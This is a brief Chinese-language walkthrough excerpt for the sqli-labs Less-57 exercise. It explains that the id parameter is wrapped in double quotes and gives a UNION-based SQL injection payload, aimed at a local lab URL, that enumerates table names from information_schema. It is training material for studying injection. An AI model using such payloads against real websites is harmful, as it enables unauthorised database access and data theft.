?
?
?
?
从代码中看到对id进行了 " " 的处理，所以此处我们构造的payload要进行 "" 的处理，示例payload：
http://127.0.0.1/sqli-labs/Less-57/index.php?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘%23
?
原文：http://www.cnblogs.com/lcamry/p/5762650.html